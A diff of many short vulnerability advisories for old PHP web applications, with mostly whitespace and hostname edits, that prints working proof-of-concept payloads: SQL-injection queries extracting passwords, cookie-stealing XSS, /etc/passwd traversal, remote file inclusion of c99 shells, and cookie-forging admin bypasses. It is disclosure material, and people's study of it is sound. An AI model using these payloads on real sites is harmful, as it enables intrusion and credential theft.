+http://www.example.com/path/dodosmail.php?dodosmail_header_file=/../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32013.txt b/platforms/php/webapps/32013.txt index 1abf40e7d..1a1b628c1 100755 --- a/platforms/php/webapps/32013.txt +++ b/platforms/php/webapps/32013.txt @@ -11,4 +11,4 @@ UPDATE (July 2, 2009): The vendor disputes that Zoph is affected by these issues The following login credentials are reported to trigger this issue: username: '-- -password: '-- \ No newline at end of file +password: '-- \ No newline at end of file diff --git a/platforms/php/webapps/32015.txt b/platforms/php/webapps/32015.txt index 91cfa5c1f..6b43c6b54 100755 --- a/platforms/php/webapps/32015.txt +++ b/platforms/php/webapps/32015.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects 4ndvddb 0.91; other versions may also be affected. -http://www.example.com/modules.php?name=4ndvddb&rop=show_dvd&id=1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,3,4,5,6,7,8,9,10%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file +http://www.example.com/modules.php?name=4ndvddb&rop=show_dvd&id=1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,3,4,5,6,7,8,9,10%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A \ No newline at end of file diff --git a/platforms/php/webapps/32016.pl b/platforms/php/webapps/32016.pl index ee7bc38af..3f8e917db 100755 --- a/platforms/php/webapps/32016.pl +++ b/platforms/php/webapps/32016.pl @@ -21,7 +21,7 @@ use LWP::UserAgent; print " Powered by Cod3rZ \n"; print " http://cod3rz.helloweb.eu \n"; print " -------------------------------------------------\n"; - print " Insert Site (http://server/): \n "; + print " Insert Site (http://site.com/): \n "; chomp($site = <STDIN>); print " -------------------------------------------------\n"; print " Insert Logs path \n "; diff --git a/platforms/php/webapps/3202.txt b/platforms/php/webapps/3202.txt index 4bc75ce9a..790787ce6 100755 --- a/platforms/php/webapps/3202.txt +++ b/platforms/php/webapps/3202.txt @@ -11,6 +11,6 @@ ains_main.php: include("$ains_path/ains_global.inc"); -http://www.server/[path]/ains_main.php?ains_path=[evil_code] +http://www.site.com/[path]/ains_main.php?ains_path=[evil_code] # milw0rm.com [2007-01-26] diff --git a/platforms/php/webapps/32034.txt b/platforms/php/webapps/32034.txt index 9deae8ec1..d4da103c9 100755 --- a/platforms/php/webapps/32034.txt +++ b/platforms/php/webapps/32034.txt @@ -6,4 +6,4 @@ Exploiting these issues can allow an attacker to compromise the application and V-webmail 1.6.4 is vulnerable; other versions may also be affected. -http://www.example.com/path/includes/cachedConfig.php?CONFIG[pear_dir]=http://www.example2.com \ No newline at end of file +http://www.example.com/path/includes/cachedConfig.php?CONFIG[pear_dir]=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32045.txt b/platforms/php/webapps/32045.txt index e76405a56..2357bdfde 100755 --- a/platforms/php/webapps/32045.txt +++ b/platforms/php/webapps/32045.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br eSyndiCat Pro 2.2 is vulnerable; other versions may also be affected. -http://www.example.com/register.php where username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477)</script>&register="><script>alert(12157312.477)</script> \ No newline at end of file +http://www.example.com/register.php where username="><script>alert(12157312.477)</script>&email="><script>alert(12157312.477)</script>&password="><script>alert(12157312.477)</script>&password2="><script>alert(12157312.477)</script>&security_code="><script>alert(12157312.477)</script>&register="><script>alert(12157312.477)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32047.txt b/platforms/php/webapps/32047.txt index 088fbd6f2..e78a2e5f2 100755 --- a/platforms/php/webapps/32047.txt +++ b/platforms/php/webapps/32047.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Hudson 1.223 is vulnerable; other versions may also be affected. -http://www.example.com/hudson/search/?q="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/hudson/search/?q="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/3205.txt b/platforms/php/webapps/3205.txt index b5a0bac54..d90475474 100755 --- a/platforms/php/webapps/3205.txt +++ b/platforms/php/webapps/3205.txt @@ -1,4 +1,4 @@ -_________________________________ + _________________________________ ________| |________ \ | S.W.A.T. | / \ | | / diff --git a/platforms/php/webapps/32057.txt b/platforms/php/webapps/32057.txt index 051de798f..cf4213320 100755 --- a/platforms/php/webapps/32057.txt +++ b/platforms/php/webapps/32057.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow an attacker to compromise the application and ECMS 1.1 is vulnerable; other versions may also be affected. http://www.example.com/path/ecms/eprint.php?DOCUMENT_ROOT=shell.txt? -http://www.example.com/path/ecms/index.php?DOCUMENT_ROOT=shell.txt? \ No newline at end of file +http://www.example.com/path/ecms/index.php?DOCUMENT_ROOT=shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/32058.txt b/platforms/php/webapps/32058.txt index f47511d6a..5b183c4cc 100755 --- a/platforms/php/webapps/32058.txt +++ b/platforms/php/webapps/32058.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute malicious PHP code in the context OpenPro 1.3.1 is vulnerable; other versions may also be affected. -http://www.example.com/path/search_wA.php?LIBPATH=[Evil] \ No newline at end of file +http://www.example.com/path/search_wA.php?LIBPATH=[Evil] \ No newline at end of file diff --git a/platforms/php/webapps/32076.txt b/platforms/php/webapps/32076.txt index a4795d158..0776b0049 100755 --- a/platforms/php/webapps/32076.txt +++ b/platforms/php/webapps/32076.txt @@ -31,7 +31,7 @@ Content-Type: application/x-www-form-urlencoded Content-Length: 151 ilch_token=5a528778359d4756b9b8803b48fba18b&name=name&email=email%40emai -l.com&homepage=http%3A%2F%2Fserver&text=<script>alert('immuniwweb');</ +l.com&homepage=http%3A%2F%2Fsite.com&text=<script>alert('immuniwweb');</ script>&saveEntry=Submit ------------------------------------------------------------------------ diff --git a/platforms/php/webapps/32080.txt b/platforms/php/webapps/32080.txt index f1867a016..ee6a46a1a 100755 --- a/platforms/php/webapps/32080.txt +++ b/platforms/php/webapps/32080.txt @@ -6,4 +6,4 @@ Exploiting these issues can allow an attacker to compromise the application and CreaCMS 1 is vulnerable; other versions may also be affected. -http://www.example.com/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=http://127.0.0.1/c99.php? \ No newline at end of file +http://www.example.com/creacms/_administration/fonctions/get_liste_langue.php?cfg[base_uri_admin]=http://127.0.0.1/c99.php? \ No newline at end of file diff --git a/platforms/php/webapps/32081.txt b/platforms/php/webapps/32081.txt index 27ae8b675..d19286d1a 100755 --- a/platforms/php/webapps/32081.txt +++ b/platforms/php/webapps/32081.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to Lemon CMS 1.10 is vulnerable; other versions may also be affected. -http://www.example.com/lemon_includes/FCKeditor/editor/filemanager/browser/browser.php?dir=../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/lemon_includes/FCKeditor/editor/filemanager/browser/browser.php?dir=../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32083.txt b/platforms/php/webapps/32083.txt index 39fe50076..6d0c50c10 100755 --- a/platforms/php/webapps/32083.txt +++ b/platforms/php/webapps/32083.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a Def_Blog 1.0.3 is vulnerable; other versions may also be affected. -http://www.example.com/[def_blog_path]/comlook.php?article=-1+union+select+1,2,3,4,concat(pseudo,0x3a3a,mdp),6,7+from+def_user-- \ No newline at end of file +http://www.example.com/[def_blog_path]/comlook.php?article=-1+union+select+1,2,3,4,concat(pseudo,0x3a3a,mdp),6,7+from+def_user-- \ No newline at end of file diff --git a/platforms/php/webapps/32085.txt b/platforms/php/webapps/32085.txt index 9fff37a51..94d56efed 100755 --- a/platforms/php/webapps/32085.txt +++ b/platforms/php/webapps/32085.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phpFreeChat 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/path/demo/demo21_with_hardcoded_urls.php/>'><ScRiPt>alert(document.cookie)</ScRiPt> \ No newline at end of file +http://www.example.com/path/demo/demo21_with_hardcoded_urls.php/>'><ScRiPt>alert(document.cookie)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/3209.txt b/platforms/php/webapps/3209.txt index a77855b50..7390f8d76 100755 --- a/platforms/php/webapps/3209.txt +++ b/platforms/php/webapps/3209.txt @@ -12,7 +12,7 @@ xt_counter.php: require( $server_base_dir.'management/sources/counter_class.php'); -http://www.server/[path]/xt_counter.php?server_base_dir=[evil_code] +http://www.site.com/[path]/xt_counter.php?server_base_dir=[evil_code] ************************************************************* # milw0rm.com [2007-01-27] diff --git a/platforms/php/webapps/32090.txt b/platforms/php/webapps/32090.txt index d6c5fa0e8..94ac5a9d7 100755 --- a/platforms/php/webapps/32090.txt +++ b/platforms/php/webapps/32090.txt @@ -4,4 +4,4 @@ Maran PHP Blog is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/comments.php?id=%3E%3C%3E%27%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/comments.php?id=%3E%3C%3E%27%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32091.txt b/platforms/php/webapps/32091.txt index 0056dfe5e..b968b4f96 100755 --- a/platforms/php/webapps/32091.txt +++ b/platforms/php/webapps/32091.txt @@ -9,4 +9,4 @@ MyBlog 0.9.8 is vulnerable; other versions may also be affected. http://www.example.com/config/mysqlconnection.inc http://www.example.com/config/mysqlconnection%20-%20Copy.inc http://www.example.com/admin/setup.php -http://www.example.com/config/settings.inc \ No newline at end of file +http://www.example.com/config/settings.inc \ No newline at end of file diff --git a/platforms/php/webapps/32092.txt b/platforms/php/webapps/32092.txt index 26a14c087..05f154b1a 100755 --- a/platforms/php/webapps/32092.txt +++ b/platforms/php/webapps/32092.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute malicious PHP code in the context Flip 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/config.php?incpath=[SHELL] \ No newline at end of file +http://www.example.com/config.php?incpath=[SHELL] \ No newline at end of file diff --git a/platforms/php/webapps/32093.txt b/platforms/php/webapps/32093.txt index af3e9b47e..04acda8a9 100755 --- a/platforms/php/webapps/32093.txt +++ b/platforms/php/webapps/32093.txt @@ -5,4 +5,4 @@ phpKF is prone to an SQL-injection vulnerability because it fails to sufficientl Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/lab/phpkf/yonetim/forum_duzen.php?kip=forum_duzenle&fno='+union+select+kullanici_adi,concat(database(),0x3a,version()),sifre+from+phpkf_kullanicilar/* \ No newline at end of file +http://www.example.com/lab/phpkf/yonetim/forum_duzen.php?kip=forum_duzenle&fno='+union+select+kullanici_adi,concat(database(),0x3a,version()),sifre+from+phpkf_kullanicilar/* \ No newline at end of file diff --git a/platforms/php/webapps/32098.txt b/platforms/php/webapps/32098.txt index 6e50f2abb..a1f656d2f 100755 --- a/platforms/php/webapps/32098.txt +++ b/platforms/php/webapps/32098.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc XOOPS 2.0.18.1 is vulnerable; other versions may also be affected. -http://www.example.com/scripts_path/modules/system/admin.php?fct="><script>alert("xss")</script> \ No newline at end of file +http://www.example.com/scripts_path/modules/system/admin.php?fct="><script>alert("xss")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32100.txt b/platforms/php/webapps/32100.txt index 0ac6cc00f..b323e16d9 100755 --- a/platforms/php/webapps/32100.txt +++ b/platforms/php/webapps/32100.txt @@ -6,4 +6,4 @@ Exploiting these issues can allow an attacker to compromise the application and RunCMS 1.6.1 is vulnerable; other versions may be affected as well. -http://www.example.com/modules/newbb_plus/config.php?bbPath[root_theme]=http://www.example2.com \ No newline at end of file +http://www.example.com/modules/newbb_plus/config.php?bbPath[root_theme]=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32101.txt b/platforms/php/webapps/32101.txt index 79ea298f3..2ed68ade7 100755 --- a/platforms/php/webapps/32101.txt +++ b/platforms/php/webapps/32101.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to gain administrative access to the eSyndiCat 1.6 is vulnerable; other versions may also be affected. -javascript:document.cookie = "admin_lng=1; path=/"; \ No newline at end of file +javascript:document.cookie = "admin_lng=1; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/32102.txt b/platforms/php/webapps/32102.txt index 8a6723db8..4f505fa98 100755 --- a/platforms/php/webapps/32102.txt +++ b/platforms/php/webapps/32102.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to gain administrative access to the AlphAdmin CMS 1.0.5_03 is vulnerable; other versions may also be affected. -javascript:document.cookie = "aa_login=1; path=/"; \ No newline at end of file +javascript:document.cookie = "aa_login=1; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/32103.txt b/platforms/php/webapps/32103.txt index 6cf3b87e4..fff0e2fb1 100755 --- a/platforms/php/webapps/32103.txt +++ b/platforms/php/webapps/32103.txt @@ -8,4 +8,4 @@ VisualPic 0.3.1 is vulnerable; other versions may be affected as well. http://www.example.com/visualpic/?login&pic=>"><script>alert("XSS")</script> http://www.example.com/visualpic/?pic=%00'"><script>alert("XSS")</script> -http://www.example.com/visualpic/?login&pic=>"><script>alert("XSS")</script> \ No newline at end of file +http://www.example.com/visualpic/?login&pic=>"><script>alert("XSS")</script> \ No newline at end of file diff --git a/platforms/php/webapps/32113.txt b/platforms/php/webapps/32113.txt index 1c4790617..f9aaf85df 100755 --- a/platforms/php/webapps/32113.txt +++ b/platforms/php/webapps/32113.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to compromise the application, access CUA 4.0_4735.p4 is vulnerable; other versions may also be affected. Username: valid_user_name -Password: -- \ No newline at end of file +Password: -- \ No newline at end of file diff --git a/platforms/php/webapps/32114.txt b/platforms/php/webapps/32114.txt index a84867b15..7ceb2e36e 100755 --- a/platforms/php/webapps/32114.txt +++ b/platforms/php/webapps/32114.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AtomPhotoBlog 1.15b1 is vulnerable; other versions may also be affected. -http://www.example.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user \ No newline at end of file +http://www.example.com/atomPhotoBlog.php?do=show&photoId=969696+union+select+0,0,0,0,0,0,0,0,0,0,0,mail,pass,0+from+user \ No newline at end of file diff --git a/platforms/php/webapps/32116.txt b/platforms/php/webapps/32116.txt index fd22bbe9e..95688f35d 100755 --- a/platforms/php/webapps/32116.txt +++ b/platforms/php/webapps/32116.txt @@ -4,4 +4,4 @@ ezContents CMS is prone to a remote file-include vulnerability because it fails An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=http://www.example2.com/soqor10/c99.txt? \ No newline at end of file +http://www.example.com/modules/calendar/minicalendar.php?GLOBALS[rootdp]=./&GLOBALS[gsLanguage]=http://www.example2.com/soqor10/c99.txt? \ No newline at end of file diff --git a/platforms/php/webapps/32117.txt b/platforms/php/webapps/32117.txt index ba67a1fb2..06e9c967c 100755 --- a/platforms/php/webapps/32117.txt +++ b/platforms/php/webapps/32117.txt @@ -6,5 +6,5 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions up to and including TriO 2.1 are vulnerable. -http://server/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers-- -http://server/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- \ No newline at end of file +http://site.com/browse.php?id=-1+UNION+SELECT+EMAIL+from+Webusers-- +http://site.com/browse.php?id=-1+UNION+SELECT+SUPERSECRETPASSWORD+from+Webusers-- \ No newline at end of file diff --git a/platforms/php/webapps/32118.txt b/platforms/php/webapps/32118.txt index 477073672..308be1aa3 100755 --- a/platforms/php/webapps/32118.txt +++ b/platforms/php/webapps/32118.txt @@ -4,4 +4,4 @@ GC Auction Platinum is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin-- \ No newline at end of file +http://www.example.com/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin-- \ No newline at end of file diff --git a/platforms/php/webapps/32122.txt b/platforms/php/webapps/32122.txt index 77edeb62d..a2ca3289d 100755 --- a/platforms/php/webapps/32122.txt +++ b/platforms/php/webapps/32122.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Owl Intranet Engine 0.95 is vulnerable; prior versions may also be affected. -http://www.example.com/Owl/register.php?myaction=getpasswd&username="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/Owl/register.php?myaction=getpasswd&username="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/32123.txt b/platforms/php/webapps/32123.txt index 0175c26af..6d4d07842 100755 --- a/platforms/php/webapps/32123.txt +++ b/platforms/php/webapps/32123.txt @@ -5,4 +5,4 @@ The RSS plugin for miniBB is prone to multiple remote file-include vulnerabiliti Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible. http://www.example.com/rss2.php?premodDir=[EVIL] -http://www.example.com/rss2.php?pathToFiles=[EVIL] \ No newline at end of file +http://www.example.com/rss2.php?pathToFiles=[EVIL] \ No newline at end of file diff --git a/platforms/php/webapps/32126.txt b/platforms/php/webapps/32126.txt index 7aae0af10..ddbde71e5 100755 --- a/platforms/php/webapps/32126.txt +++ b/platforms/php/webapps/32126.txt @@ -8,4 +8,4 @@ Attacker-supplied HTML and script code would run in the context of the affected The issue affects ScrewTurn Wiki 2.0.29 and 2.0.30; other versions may also be affected. The following example URI is available: -http://www.example.com/?[script]alert('XSS')[/script] \ No newline at end of file +http://www.example.com/?[script]alert('XSS')[/script] \ No newline at end of file diff --git a/platforms/php/webapps/32128.txt b/platforms/php/webapps/32128.txt index ddb92ad39..448255a3b 100755 --- a/platforms/php/webapps/32128.txt +++ b/platforms/php/webapps/32128.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MJGUEST 6.8 GT is vulnerable; other versions may also be affected. -http://www.example.com/guestbook.js.php?link=[XSS] \ No newline at end of file +http://www.example.com/guestbook.js.php?link=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32130.txt b/platforms/php/webapps/32130.txt index 945abe393..3e6b5f13a 100755 --- a/platforms/php/webapps/32130.txt +++ b/platforms/php/webapps/32130.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to view sensitive information, s DEV Web Management System 1.5 is vulnerable; other versions may also be affected. -http://www.example.com/?session=">><>><script>alert(document.cookie)</script> <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/index.php?session=0&action=search" method="POST" name="form"> <form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/> <input type="hidden" name="kluc" value="&#34&#39&#39&#39&#60&#62&#62&#62&#62<script>alert('xss')</script>"> </form> </body> </html> http://www.example.com/index.php?session=0&action=read&click=open&article=[SQL CODE] http://www.example.com/admin/index.php?start=install&step=file.type%00 \ No newline at end of file +http://www.example.com/?session=">><>><script>alert(document.cookie)</script> <html> <head></head> <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/index.php?session=0&action=search" method="POST" name="form"> <form method="post" onSubmit="return validateprm(this)"><input type="hidden" name="prip" value="true"/><input type="hidden" name="action" value="search"/> <input type="hidden" name="kluc" value="&#34&#39&#39&#39&#60&#62&#62&#62&#62<script>alert('xss')</script>"> </form> </body> </html> http://www.example.com/index.php?session=0&action=read&click=open&article=[SQL CODE] http://www.example.com/admin/index.php?start=install&step=file.type%00 \ No newline at end of file diff --git a/platforms/php/webapps/32134.txt b/platforms/php/webapps/32134.txt index 3c87f3d1c..05a117749 100755 --- a/platforms/php/webapps/32134.txt +++ b/platforms/php/webapps/32134.txt @@ -4,4 +4,4 @@ H0tturk Panel is prone to a remote file-include vulnerability because it fails t An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/hot/gizli.php?cfgProgDir=cmd.txt? \ No newline at end of file +http://www.example.com/hot/gizli.php?cfgProgDir=cmd.txt? \ No newline at end of file diff --git a/platforms/php/webapps/32135.txt b/platforms/php/webapps/32135.txt index d6430664a..679e009f7 100755 --- a/platforms/php/webapps/32135.txt +++ b/platforms/php/webapps/32135.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects csphonebook 1.02; other versions may also be affected. -http://www.example.com/index.php?letter=[XSS] \ No newline at end of file +http://www.example.com/index.php?letter=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32139.txt b/platforms/php/webapps/32139.txt index 7902152ef..74d7a04ad 100755 --- a/platforms/php/webapps/32139.txt +++ b/platforms/php/webapps/32139.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow freeForum 1.7 is vulnerable; other versions may also be affected. -http://www.example.com/path/?acuparam=>"><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php/>'><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php?acuparam=>"><ScRiPt>alert(111)</ScRiPt> \ No newline at end of file +http://www.example.com/path/?acuparam=>"><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php/>'><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php?acuparam=>"><ScRiPt>alert(111)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/32141.txt b/platforms/php/webapps/32141.txt index a46d1979d..59de37827 100755 --- a/platforms/php/webapps/32141.txt +++ b/platforms/php/webapps/32141.txt @@ -4,4 +4,4 @@ Homes 4 Sale is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/result.php?r=c%253E%255BHWtZYeidnW%257BdH%253A1MnOwcR%253E%253E%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Ebtl%253CTB%253C67%253C2% 253C2%253C498984%253Ctuzmf2%256067%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25602%2560e3s%2560efsq%253Cksfct31%253Cksfct31%253C93454%253C43642%253Cbtl %253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cqbslfe%252Ftzoejdbujpo%252Fbtl%252Fdpn%2527jqvb%2560je%253E%253A%253A597&K eywords= \ No newline at end of file +http://www.example.com/result.php?r=c%253E%255BHWtZYeidnW%257BdH%253A1MnOwcR%253E%253E%2527tfbsdi%2560uzqf%253Etfbsdi%2527f%253Ebtl%253CTB%253C67%253C2% 253C2%253C498984%253Ctuzmf2%256067%252Fdtt%253C3%253Cjoufsdptnpt%2560bggjmjbuf%25602%2560e3s%2560efsq%253Cksfct31%253Cksfct31%253C93454%253C43642%253Cbtl %253C%253C0e0tfbsdi0q0joufsdptnpt0ynm0epnbjomboefs0joum0e3s0gfg0qpqdbu0w30%253Cqbslfe%252Ftzoejdbujpo%252Fbtl%252Fdpn%2527jqvb%2560je%253E%253A%253A597&K eywords= \ No newline at end of file diff --git a/platforms/php/webapps/32143.txt b/platforms/php/webapps/32143.txt index 42adea8cf..9f791cd52 100755 --- a/platforms/php/webapps/32143.txt +++ b/platforms/php/webapps/32143.txt @@ -10,4 +10,4 @@ The following proofs of concept are available: A. admin' OR 1=1/* B. fdfds' OR 1=1 limit x/* -C.' AND 1=2 union select 1,2/* \ No newline at end of file +C.' AND 1=2 union select 1,2/* \ No newline at end of file diff --git a/platforms/php/webapps/32149.txt b/platforms/php/webapps/32149.txt index dc68182a4..11b3133de 100755 --- a/platforms/php/webapps/32149.txt +++ b/platforms/php/webapps/32149.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br MRBS 1.2.6 is vulnerable; other versions may also be affected. -http://www.example.com/path/help.php?area=[XSS] \ No newline at end of file +http://www.example.com/path/help.php?area=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32150.txt b/platforms/php/webapps/32150.txt index 70b216c80..0f84a2237 100755 --- a/platforms/php/webapps/32150.txt +++ b/platforms/php/webapps/32150.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to UNAK-CMS 1.5.5 is vulnerable; other versions may also be affected. -http://www.example.com/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=/file.type%00 \ No newline at end of file +http://www.example.com/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=/file.type%00 \ No newline at end of file diff --git a/platforms/php/webapps/32168.txt b/platforms/php/webapps/32168.txt index 1c21fceb4..0c6282c3e 100755 --- a/platforms/php/webapps/32168.txt +++ b/platforms/php/webapps/32168.txt @@ -19,4 +19,4 @@ http://www.example.com/data/inc/header.php?lang_kop5=[Cross Site Scripting] http://www.example.com/data/inc/header.php?titelkop=[Cross Site Scripting] http://www.example.com/data/inc/header2.php?pluck_version=[Cross Site Scripting] http://www.example.com/data/inc/header2.php?titelkop=[Cross Site Scripting] -http://www.example.com/data/inc/themeinstall.php?lang_theme6=[Cross Site Scripting] \ No newline at end of file +http://www.example.com/data/inc/themeinstall.php?lang_theme6=[Cross Site Scripting] \ No newline at end of file diff --git a/platforms/php/webapps/32179.txt b/platforms/php/webapps/32179.txt index eab2c1048..3dda5e1c2 100755 --- a/platforms/php/webapps/32179.txt +++ b/platforms/php/webapps/32179.txt @@ -4,4 +4,4 @@ POWERGAP Shopsystem is prone to an SQL-injection vulnerability because it fails Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/s03.php?shopid=s03&cur=eur&sp=de&ag='[SQL] \ No newline at end of file +http://www.example.com/s03.php?shopid=s03&cur=eur&sp=de&ag='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/32180.txt b/platforms/php/webapps/32180.txt index 5717c8f7a..a540b23dd 100755 --- a/platforms/php/webapps/32180.txt +++ b/platforms/php/webapps/32180.txt @@ -7,4 +7,4 @@ An attacker can exploit these issues using directory-traversal strings to view l Contact 0.1.0 is vulnerable; other versions may also be affected. http://www.example.com/path/index.php?module=[LFI] -http://www.example.com/path/admin/index.php?module=[LFI] \ No newline at end of file +http://www.example.com/path/admin/index.php?module=[LFI] \ No newline at end of file diff --git a/platforms/php/webapps/32181.txt b/platforms/php/webapps/32181.txt index bd999a57b..0f7d75035 100755 --- a/platforms/php/webapps/32181.txt +++ b/platforms/php/webapps/32181.txt @@ -8,4 +8,4 @@ Battle.net Clan Script 1.5.2 is vulnerable; other versions may also be affected. http://www.example.com/index.php?page=members&showmember='+union+select+name,1,2,password+from+bcs_members/* -http://www.example.com/index.php?page=board&thread=-9999+union+select+0,1,password,name,4,5,6,7+from+bcs_members/* \ No newline at end of file +http://www.example.com/index.php?page=board&thread=-9999+union+select+0,1,password,name,4,5,6,7+from+bcs_members/* \ No newline at end of file diff --git a/platforms/php/webapps/32183.txt b/platforms/php/webapps/32183.txt index 4e47d83a7..05a50c50b 100755 --- a/platforms/php/webapps/32183.txt +++ b/platforms/php/webapps/32183.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability using directory-traversal strings to phpKF-Portal 1.10 is vulnerable; other versions may also be affected. -http://www.example.com/path/anket_yonetim.php?portal_ayarlarportal_dili=../%00LocalFile] \ No newline at end of file +http://www.example.com/path/anket_yonetim.php?portal_ayarlarportal_dili=../%00LocalFile] \ No newline at end of file diff --git a/platforms/php/webapps/32186.txt b/platforms/php/webapps/32186.txt index 288ef3561..4bdd940fc 100755 --- a/platforms/php/webapps/32186.txt +++ b/platforms/php/webapps/32186.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Quate CMS 0.3.4 is vulnerable; other versions may also be affected. http://www.example.com/path/admin/includes/themes/default/header.php?page_area=[XSS] -http://www.example.com/path/admin/includes/themes/default/header.php?page_header=[XSS] \ No newline at end of file +http://www.example.com/path/admin/includes/themes/default/header.php?page_header=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32187.txt b/platforms/php/webapps/32187.txt index 5abf4b651..3a47c0016 100755 --- a/platforms/php/webapps/32187.txt +++ b/platforms/php/webapps/32187.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow an attacker to compromise the application and These issues affect com_utchat 0.9.2; other versions may also be affected. http://www.example.com/components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php?file=[Sh3LL] 